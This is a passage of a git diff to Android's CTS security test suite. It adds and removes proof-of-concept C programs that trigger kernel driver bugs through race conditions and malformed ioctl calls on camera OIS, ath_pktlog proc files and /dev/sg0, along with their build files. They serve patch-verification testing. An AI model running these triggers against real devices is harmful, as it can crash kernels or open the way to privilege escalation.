+ ACTUATOR_MAIN_CAM_4,
+ ACTUATOR_MAIN_CAM_5,
+ ACTUATOR_WEB_CAM_0,
+ ACTUATOR_WEB_CAM_1,
+ ACTUATOR_WEB_CAM_2,
+};
+
+struct msm_actuator_cfg_data32 {
+ int cfgtype;
+ uint8_t is_af_supported;
+ union {
+ struct msm_actuator_move_params_t32 move;
+ struct msm_actuator_set_info_t32 set_info;
+ struct msm_actuator_get_info_t get_info;
+ struct msm_actuator_set_position_t setpos;
+ enum af_camera_name cam_name;
+ } cfg;
+};
+struct region_params_t {
+ /* [0] = ForwardDirection Macro boundary
+ [1] = ReverseDirection Inf boundary
+ */
+ unsigned short step_bound[2];
+ unsigned short code_per_step;
+ /* qvalue for converting float type numbers to integer format */
+ unsigned int qvalue;
+};
+
+#define VIDIOC_MSM_ACTUATOR_CFG32 \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_actuator_cfg_data32)
+
+#define VIDIOC_QBUF _IOWR('V', 15, struct v4l2_buffer)
+
+#define I2C_SEQ_REG_DATA_MAX 1024
+
+enum msm_ois_cfg_type_t {
+ CFG_OIS_INIT,
+ CFG_OIS_POWERDOWN,
+ CFG_OIS_POWERUP,
+ CFG_OIS_CONTROL,
+ CFG_OIS_I2C_WRITE_SEQ_TABLE,
+};
+
+enum msm_ois_i2c_operation {
+ MSM_OIS_WRITE = 0,
+ MSM_OIS_POLL,
+};
+
+struct reg_settings_ois_t {
+ uint16_t reg_addr;
+ enum msm_camera_i2c_reg_addr_type addr_type;
+ uint32_t reg_data;
+ enum msm_camera_i2c_data_type data_type;
+ enum msm_ois_i2c_operation i2c_operation;
+ uint32_t delay;
+};
+struct msm_ois_params_t {
+ uint16_t data_size;
+ uint16_t setting_size;
+ uint32_t i2c_addr;
+ enum i2c_freq_mode_t i2c_freq_mode;
+ enum msm_camera_i2c_reg_addr_type i2c_addr_type;
+ enum msm_camera_i2c_data_type i2c_data_type;
+ struct reg_settings_ois_t *settings;
+};
+
+struct msm_ois_set_info_t {
+ struct msm_ois_params_t ois_params;
+};
+
+struct msm_camera_i2c_seq_reg_array {
+ unsigned short reg_addr;
+ unsigned char reg_data[I2C_SEQ_REG_DATA_MAX];
+ unsigned short reg_data_size;
+};
+
+struct msm_camera_i2c_seq_reg_setting {
+ struct msm_camera_i2c_seq_reg_array *reg_setting;
+ unsigned short size;
+ enum msm_camera_i2c_reg_addr_type addr_type;
+ unsigned short delay;
+};
+
+struct msm_ois_cfg_data {
+ int cfgtype;
+ union {
+ struct msm_ois_set_info_t set_info;
+ struct msm_camera_i2c_seq_reg_setting *settings;
+ } cfg;
+};
+
+#define VIDIOC_MSM_OIS_CFG \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 11, struct msm_ois_cfg_data)
+
+#endif
diff --git a/hostsidetests/security/securityPatch/Bug-35216793/poc.c b/hostsidetests/security/securityPatch/Bug-35216793/poc.c
new file mode 100644
index 0000000..314228d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35216793/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/wait.h>
+#include <unistd.h>
+#include <string.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include "local_poc.h"
+
+int main(int argc, char **argv) {
+ int fd, ret, i, count;
+ pthread_t tid[2];
+ char buf[256];
+ char subdev[32] = {0};
+
+ struct msm_ois_cfg_data data;
+ struct msm_ois_set_info_t *info;
+ struct msm_ois_params_t *param;
+
+ count = 0;
+retry:
+ for (i = 0; i < 32; i++) {
+ if (snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i) < 0) {
+ exit(EXIT_FAILURE);
+ }
+ fd = open(subdev, O_RDWR, 0);
+ if (fd < 0) {
+ return -1;
+ }
+
+ data.cfgtype = CFG_OIS_INIT;
+ ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
+
+ data.cfgtype = CFG_OIS_CONTROL;
+ info = &data.cfg.set_info;
+ param = &info->ois_params;
+ param->i2c_freq_mode = 639630796;
+ param->setting_size = 5;
+ param->settings = 0;
+
+ ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
+
+ close(fd);
+
+ fd = open(subdev, O_RDWR, 0);
+ if (fd < 0) {
+ return -1;
+ }
+
+ data.cfgtype = CFG_OIS_INIT;
+ ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
+
+ data.cfgtype = CFG_OIS_CONTROL;
+ info = &data.cfg.set_info;
+ param = &info->ois_params;
+ param->i2c_freq_mode = 639630796;
+ param->setting_size = 5;
+ param->settings = 0;
+
+ ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
+
+ close(fd);
+ }
+ sleep(0.5);
+ printf("[pid:%d] try %d again!\n", getpid(), ++count);
+ goto retry;
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35468048/Android.mk b/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
index 9213fa3..88166b8 100644
--- a/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-35470735/Android.mk b/hostsidetests/security/securityPatch/Bug-35470735/Android.mk
deleted file mode 100644
index 1f14c2c..0000000
--- a/hostsidetests/security/securityPatch/Bug-35470735/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35470735
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35470735/poc.c b/hostsidetests/security/securityPatch/Bug-35470735/poc.c
deleted file mode 100644
index a6a2da9..0000000
--- a/hostsidetests/security/securityPatch/Bug-35470735/poc.c
+++ /dev/null
@@ -1,132 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <string.h>
-#include <sys/types.h>
-
-#include <asm/ioctl.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-//#define DEBUG
-#ifdef DEBUG
-#define LOG(fmt, ...) \
- do { \
- printf("%s:%d: " fmt "\n", __FUNCTION__, __LINE__, ##__VA_ARGS__); \
- } while (0)
-#else
-#define LOG(fmt, ...)
-#endif
-
-int open_file(char* filename) {
- int fd;
-
- fd = open(filename, O_RDWR);
- if (fd < 0) {
- LOG("open %s fail %s\n", filename, strerror(errno));
- exit(1);
- }
- LOG("[%d] open %s succ return fd %d\n", gettid(), filename, fd);
-
- return fd;
-}
-
-int test_write(int fd, char* buf, int size) {
- int ret;
-
- ret = write(fd, buf, size);
- if (fd < 0) {
- LOG("write %d fail %s\n", fd, strerror(errno));
- } else
- LOG("[%d] write %s succ\n", gettid(), buf);
-
- return ret;
-}
-
-void prepare(void) { // enable the log
- int enable_fd;
- char* str = "1";
- enable_fd = open_file("/proc/sys/ath_pktlog/cld/enable");
- test_write(enable_fd, str, strlen(str));
- close(enable_fd);
-}
-
-#define SIZE 16
-void Thread1(void) { // thread to read the log
- int cld_fd, ret;
- char buf[SIZE] = {0};
- cld_fd = open_file("/proc/ath_pktlog/cld");
- while (1) {
- ret = read(cld_fd, buf, SIZE);
- if (ret > 0) LOG("[%d] read succ %d\n", gettid(), ret);
- sleep(0.5);
- }
- close(cld_fd);
-}
-
-void Thread2(void) { // thread to free pl_info->buf
- int size_fd;
- char* size1 = "1024";
- char* size2 = "2048";
- int index = 0;
- char buf[8] = {0};
- size_fd = open_file("/proc/sys/ath_pktlog/cld/size");
- while (1) {
- if (index++ % 2)
- test_write(size_fd, size1, strlen(size1));
- else
- test_write(size_fd, size2, strlen(size2));
- sleep(0.5);
- }
- close(size_fd);
-}
-
-#define TC 8
-void trigger() {
- int i, ret;
- pthread_t tid1s[TC];
- pthread_t tid2s[TC];
-
- LOG("Try to trigger..\n");
-
- for (i = 0; i < TC; i++) {
- ret = pthread_create((pthread_t*)&tid1s[i], NULL, (void*)Thread1, NULL);
- sleep(1);
- ret = pthread_create((pthread_t*)&tid2s[i], NULL, (void*)Thread2, NULL);
- }
-
- for (i = 0; i < TC; i++) {
- pthread_join(tid1s[i], NULL);
- pthread_join(tid2s[i], NULL);
- }
-}
-
-int main(int argc, char* argv[]) {
- for (int i = 0; i < 1000; i++)
- {
- prepare();
- trigger();
- }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35644510/Android.mk b/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
index efe00f2..3a8edf6 100644
--- a/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-35644812/Android.mk b/hostsidetests/security/securityPatch/Bug-35644812/Android.mk
new file mode 100644
index 0000000..8c3d65c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35644812/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35644812
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35644812/poc.c b/hostsidetests/security/securityPatch/Bug-35644812/poc.c
new file mode 100644
index 0000000..c0ca91f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35644812/poc.c
@@ -0,0 +1,106 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+#include <string.h>
+
+#include <android/log.h>
+#include <dirent.h>
+#include <dlfcn.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <linux/futex.h>
+#include <pthread.h>
+#include <sched.h>
+#include <signal.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/mount.h>
+#include <sys/ptrace.h>
+#include <sys/select.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/system_properties.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/un.h>
+#include <sys/utsname.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+int fd;
+
+void in_cpu() {
+ int num_processors = sysconf(_SC_NPROCESSORS_CONF);
+ cpu_set_t get;
+ int i = 0;
+ CPU_ZERO(&get);
+ sched_getaffinity(0, sizeof(cpu_set_t), &get);
+ for (int i = 0; i < num_processors; i++) {
+ if (CPU_ISSET(i, &get)) {
+ printf("The current thread bound to core %d\n", i);
+ }
+ }
+}
+static void bind_child_to_cpu() {
+ in_cpu();
+ cpu_set_t set;
+ CPU_ZERO(&set);
+ CPU_SET(1, &set);
+ sched_setaffinity(0, sizeof(set), &set);
+ in_cpu();
+}
+
+#define BLKTRACETEARDOWN _IO(0x12, 118)
+#define SG_SET_RESERVED_SIZE 0x2275
+#define SG_GET_RESERVED_SIZE 0x2272
+static void* overwrite(void* param) {
+ int ret;
+ for (int i = 0; i < 100000; i++) {
+ int size = 0x100;
+ int n = ioctl(fd, SG_SET_RESERVED_SIZE, &size);
+ printf("ioctl error =%d %s\n", n, strerror(errno));
+ }
+ return param;
+}
+
+int functionOne() {
+ sleep(2);
+ char filename[128];
+ strcpy(filename, "/dev/sg0");
+
+ fd = open(filename, 2);
+ if (fd == -1) {
+ return -1;
+ }
+
+ pthread_t thread0;
+ for (int i = 0; i < 2; i++) {
+ if (pthread_create(&thread0, NULL, overwrite, NULL))
+ perror("overwritethread pthread_create()");
+ }
+
+ return 0;
+}
+
+int main(int argc, char** argv, char** env) { return functionOne(); }
diff --git a/hostsidetests/security/securityPatch/Bug-35644815/Android.mk b/hostsidetests/security/securityPatch/Bug-35644815/Android.mk
index 1dd2950..57660e2 100644
--- a/hostsidetests/security/securityPatch/Bug-35644815/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35644815/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/Android.mk b/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
index 41ba50d..06ab345 100644
--- a/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-35764875/Android.mk b/hostsidetests/security/securityPatch/Bug-35764875/Android.mk
index e62bdd2..4d6f4fc 100644
--- a/hostsidetests/security/securityPatch/Bug-35764875/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35764875/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_C_INCLUDES := $(LOCAL_PATH)/include/
diff --git a/hostsidetests/security/securityPatch/Bug-35764875/poc.c b/hostsidetests/security/securityPatch/Bug-35764875/poc.c
index 4b42cf2..b099685 100644
--- a/hostsidetests/security/securityPatch/Bug-35764875/poc.c
+++ b/hostsidetests/security/securityPatch/Bug-35764875/poc.c
@@ -109,7 +109,7 @@
memset(&event32_dup, 0, sizeof(event32_dup));
event32_dup.timeout_ms = 1;
- for (int i = 0;i < 10000; i++) {
+ for (int i = 0;i < 500; i++) {
memcpy(&event32, &event32_dup, sizeof(event32_dup));
ret = ioctl(fd, AUDIO_GET_EVENT_32, &event32);
@@ -121,7 +121,7 @@
trycount++;
- usleep(100);
+ usleep(1000);
}
close(fd);
diff --git a/hostsidetests/security/securityPatch/Bug-35950388/Android.mk b/hostsidetests/security/securityPatch/Bug-35950388/Android.mk
index 824e86f..8289311 100644
--- a/hostsidetests/security/securityPatch/Bug-35950388/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35950388/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_C_INCLUDES += include
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-35950805/Android.mk b/hostsidetests/security/securityPatch/Bug-35950805/Android.mk
index 11c4e46..b3dec07 100644
--- a/hostsidetests/security/securityPatch/Bug-35950805/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35950805/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-36266767/Android.mk b/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
index 2a1edd0..be220a5 100644
--- a/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-36492827/Android.mk b/hostsidetests/security/securityPatch/Bug-36492827/Android.mk
new file mode 100644
index 0000000..d2a91be
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36492827/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-36492827
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36492827/poc.c b/hostsidetests/security/securityPatch/Bug-36492827/poc.c
new file mode 100644
index 0000000..c435700
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36492827/poc.c
@@ -0,0 +1,315 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+#include <string.h>
+
+#include <android/log.h>
+#include <dirent.h>
+#include <dlfcn.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <linux/futex.h>
+#include <pthread.h>
+#include <sched.h>
+#include <signal.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/mount.h>
+#include <sys/ptrace.h>
+#include <sys/select.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/system_properties.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/un.h>
+#include <sys/utsname.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]))
+typedef signed char s8;
+typedef unsigned char u8;
+
+typedef signed short s16;
+typedef unsigned short u16;
+
+typedef signed int s32;
+typedef unsigned int u32;
+
+typedef signed long long s64;
+typedef unsigned long long u64;
+
+#define MAX_SENSOR_NAME 32
+#define MAX_POWER_CONFIG 12
+
+enum sensor_sub_module_t {
+ SUB_MODULE_SENSOR,
+ SUB_MODULE_CHROMATIX,
+ SUB_MODULE_ACTUATOR,
+ SUB_MODULE_EEPROM,
+ SUB_MODULE_LED_FLASH,
+ SUB_MODULE_STROBE_FLASH,
+ SUB_MODULE_CSID,
+ SUB_MODULE_CSID_3D,
+ SUB_MODULE_CSIPHY,
+ SUB_MODULE_CSIPHY_3D,
+ SUB_MODULE_OIS,
+ SUB_MODULE_EXT,
+ SUB_MODULE_MAX,
+};
+
+enum msm_sensor_init_cfg_type_t {
+ CFG_SINIT_PROBE,
+ CFG_SINIT_PROBE_DONE,
+ CFG_SINIT_PROBE_WAIT_DONE,
+};
+
+enum camb_position_t {
+ BACK_CAMERA_B,
+ FRONT_CAMERA_B,
+ AUX_CAMERA_B = 0x100,
+ INVALID_CAMERA_B,
+};
+
+enum msm_sensor_camera_id_t {
+ CAMERA_0,
+ CAMERA_1,
+ CAMERA_2,
+ CAMERA_3,
+ MAX_CAMERAS,
+};
+
+enum i2c_freq_mode_t {
+ I2C_STANDARD_MODE,
+ I2C_FAST_MODE,
+ I2C_CUSTOM_MODE,
+ I2C_CUSTOM1_MODE,
+ I2C_CUSTOM2_MODE,
+ I2C_FAST_PLUS_MODE,
+ I2C_MAX_MODES,
+};
+
+enum msm_camera_i2c_reg_addr_type {
+ MSM_CAMERA_I2C_BYTE_ADDR = 1,
+ MSM_CAMERA_I2C_WORD_ADDR,
+ MSM_CAMERA_I2C_3B_ADDR,
+ MSM_CAMERA_I2C_ADDR_TYPE_MAX,
+};
+
+enum msm_sensor_power_seq_type_t {
+ SENSOR_CLK,
+ SENSOR_GPIO,
+ SENSOR_VREG,
+ SENSOR_I2C_MUX,
+ SENSOR_I2C,
+};
+
+enum msm_sensor_output_format_t {
+ MSM_SENSOR_BAYER,
+ MSM_SENSOR_YCBCR,
+ MSM_SENSOR_META,
+};
+
+struct msm_sensor_init_params {
+ /* mask of modes supported: 2D, 3D */
+ int modes_supported;
+ /* sensor position: front, back */
+ enum camb_position_t position;
+ /* sensor mount angle */
+ unsigned int sensor_mount_angle;
+};
+
+struct msm_sensor_id_info_t {
+ unsigned short sensor_id_reg_addr;
+ unsigned short sensor_id;
+ unsigned short sensor_id_mask;
+};
+
+struct msm_sensor_power_setting {
+ enum msm_sensor_power_seq_type_t seq_type;
+ unsigned short seq_val;
+ long config_val;
+ unsigned short delay;
+ void *data[10];
+};
+
+struct msm_sensor_power_setting_array {
+ struct msm_sensor_power_setting power_setting_a[MAX_POWER_CONFIG];
+ struct msm_sensor_power_setting *power_setting;
+ unsigned short size;
+ struct msm_sensor_power_setting power_down_setting_a[MAX_POWER_CONFIG];
+ struct msm_sensor_power_setting *power_down_setting;
+ unsigned short size_down;
+};
+
+struct msm_sensor_info_t {
+ char sensor_name[MAX_SENSOR_NAME];
+ uint32_t session_id;
+ int32_t subdev_id[SUB_MODULE_MAX];
+ int32_t subdev_intf[SUB_MODULE_MAX];
+ uint8_t is_mount_angle_valid;
+ uint32_t sensor_mount_angle;
+ int modes_supported;
+ enum camb_position_t position;
+};
+
+struct msm_camera_sensor_slave_info {
+ char sensor_name[32];
+ char eeprom_name[32];
+ char actuator_name[32];
+ char ois_name[32];
+ char flash_name[32];
+ enum msm_sensor_camera_id_t camera_id;
+ unsigned short slave_addr;
+ enum i2c_freq_mode_t i2c_freq_mode;
+ enum msm_camera_i2c_reg_addr_type addr_type;
+ struct msm_sensor_id_info_t sensor_id_info;
+ struct msm_sensor_power_setting_array power_setting_array;
+ unsigned char is_init_params_valid;
+ struct msm_sensor_init_params sensor_init_params;
+ enum msm_sensor_output_format_t output_format;
+};
+
+struct sensor_init_cfg_data {
+ enum msm_sensor_init_cfg_type_t cfgtype;
+ struct msm_sensor_info_t probed_info;
+ char entity_name[MAX_SENSOR_NAME];
+ union {
+ void *setting;
+ } cfg;
+};
+
+typedef s16 compat_short_t;
+typedef s32 compat_int_t;
+typedef s32 compat_long_t;
+typedef s64 compat_s64;
+typedef u16 compat_ushort_t;
+typedef u32 compat_uint_t;
+typedef u32 compat_ulong_t;
+typedef u64 compat_u64;
+typedef u32 compat_uptr_t;
+
+struct msm_sensor_power_setting32 {
+ enum msm_sensor_power_seq_type_t seq_type;
+ uint16_t seq_val;
+ compat_uint_t config_val;
+ uint16_t delay;
+ compat_uptr_t data[10];
+};
+
+struct msm_sensor_power_setting_array32 {
+ struct msm_sensor_power_setting32 power_setting_a[MAX_POWER_CONFIG];
+ compat_uptr_t power_setting;
+ uint16_t size;
+ struct msm_sensor_power_setting32 power_down_setting_a[MAX_POWER_CONFIG];
+ compat_uptr_t power_down_setting;
+ uint16_t size_down;
+};
+
+struct msm_camera_sensor_slave_info32 {
+ char sensor_name[32];
+ char eeprom_name[32];
+ char actuator_name[32];
+ char ois_name[32];
+ char flash_name[32];
+ enum msm_sensor_camera_id_t camera_id;
+ uint16_t slave_addr;
+ enum i2c_freq_mode_t i2c_freq_mode;
